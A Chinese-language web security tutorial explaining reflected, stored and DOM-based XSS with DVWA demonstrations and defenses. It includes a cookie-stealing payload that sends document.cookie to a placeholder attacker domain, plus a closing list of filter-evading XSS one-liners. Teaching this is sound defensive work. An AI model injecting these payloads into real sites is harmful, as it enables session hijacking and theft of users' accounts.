1.1 XSS簡介
跨站腳本攻擊(XSS),是最普遍的Web應用安全漏洞。這類漏洞能夠使得攻擊者嵌入惡意腳本代碼(一般是JS代碼)到正常用戶會訪問到的頁面中,當正常用戶訪問該頁面時,則可導致嵌入的惡意腳本代碼的執行,從而達到惡意攻擊用戶的目的。它常常與其他漏洞一起造成破壞性的后果。
1.2 XSS的分類
XSS漏洞表現為多種形式,並且分為三種類型:反射型、儲存型,DOM型。這些有一些相同的特點,但是在如何確定和利用方面有一些區別,下面依次分析他們。
1.2.1 反射型XSS
反射型XXS是一種非持久性的攻擊,它指的是惡意攻擊者往Web頁面里插入惡意代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意攻擊用戶的目的。
提取用戶提交的輸入並將其插入到服務器相應的html代碼中,這是XSS漏洞的明顯特征,如果應用程序沒有實施任何過濾和凈化,那么它很容易被攻擊。
下面我就用DVWA為大家進行演示,在輸入框中咱們構造如下JS代碼
<script>alert('XSS')</script>
這代碼是進行彈窗操作,如果頁面出現彈窗,說明咱們插入的惡意代碼被執行,結果如下圖
進行這個簡單的測試,有助於澄清兩個重要問題,首先,name參數的內容可用任何返回給瀏覽器的數據代替,其次,無論服務器端應用程序如何處理這些數據,都無法阻止提交JS代碼,一旦提交數據,這些代碼就會執行。
那我們該如何利用反射型XSS漏洞呢?
最簡單的一種攻擊就是攻擊者截獲通過驗證用戶的會話令牌。劫持用戶的會話后,攻擊者就可以訪問該用戶經授權訪問的所有數據和功能。下面為大家畫圖演示一下截獲令牌的過程。
攻擊者創建的惡意代碼為
var i=new Image; i.src="http://馬賽克.com/"+document.cookie;
這段代碼可以讓用戶瀏覽器向馬賽克.com(攻擊者擁有的一個域)提出一個請求。請求中包含用戶訪問應用程序的當前會話令牌。
1.2.2 存儲型XSS
如果一名用戶提交的數據被保存到數據庫中,然后不經過過濾或凈化就顯示給其他用戶,這時候就會出現存儲型XSS。
利用存儲型XSS漏洞的攻擊至少需要向應用程序提出兩個請求。攻擊者在第一個請求中構造JavaScript,應用程序接受並保存。在第二個請求中,一名受害者查看包含惡意代碼的頁面,這時JavaScript開始執行。
依然是會話劫持,為大家畫圖演示一下。
因為存儲型XSS是永久性的,所以往往造成更大的安全威脅。攻擊者可以向應用程序提交一些專門設計的數據,然后等待受害者訪問它們。如果其中一位受害者是管理員,那么攻擊者可以完全攻破整個應用程序。
1.2.3 DOM型XSS
反射型和儲存型XSS漏洞都表現出一種特殊的行為模式,其中應用程序提取用戶控制的數據並以危險的方式將這些數據返回給用戶。DOM型XSS沒有這種特點,在這種漏洞中,攻擊者的JavaScript通過下面方式提交。
1,用戶請求一個經過專門設計的URL,它由攻擊者提交,並且其中包含嵌入式JavaScript。
2,服務器的響應中並不以任何形式包含攻擊者的代碼。
3,當用戶的瀏覽器處理這個響應時,上述腳本得以處理。
在網站頁面中有許多頁面的元素,當頁面到達瀏覽器時瀏覽器會為頁面創建一個頂級的Document object文檔對象,接着生成各個子文檔對象,每個頁面元素對應一個文檔對象,每個文檔對象包含屬性、方法和事件。可以通過JS腳本對文檔對象進行編輯從而修改頁面的元素。也就是說,客戶端的腳本程序可以通過DOM來動態修改頁面內容,從客戶端獲取DOM中的數據並在本地執行。基於這個特性,就可以利用JS腳本來實現XSS漏洞的利用。
可能觸發DOM型XSS的屬性:
document.referer屬性
window.name屬性
location屬性
innerHTML屬性
documen.write屬性
1.3 xss防御
一,對輸入內容的特定字符進行過濾,例如 < > 等符號。
可以使用 htmlentities()函數,htmlspecialchars()函數
htmlentities()和htmlspecialchars()這兩個函數對單引號(')之類的字符串支持不好,都不能轉化,所以用htmlentities()和htmlspecialchars()轉化的字符串只能防止XSS攻擊,不能防止SQL注入攻擊。
二,對重要的 cookie設置 httpOnly, 防止客戶端通過document.cookie讀取 cookie,此 HTTP頭由服務端設置。
三, 將不可信的值輸出 URL參數之前,進行 URLEncode操作,而對於從 URL參數中獲取值一定要進行格式檢測(比如你需要的時URL,就判讀是否滿足URL格式)。
四,后端接口也應該要做到關鍵字符過濾的問題。
最后從網上收集了一些常用跨站一句話代碼,有補充直接下方留言
<script>alert("XSS")</script> <meta http-equiv="refresh" content="1;url=http://www.baidu.com"> <script language=vbscript> window.location.href="http://www.baidu.com" </script> <iframe name="I1" src="http://www.baidu.com/" width="0" height="0"> </iframe> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>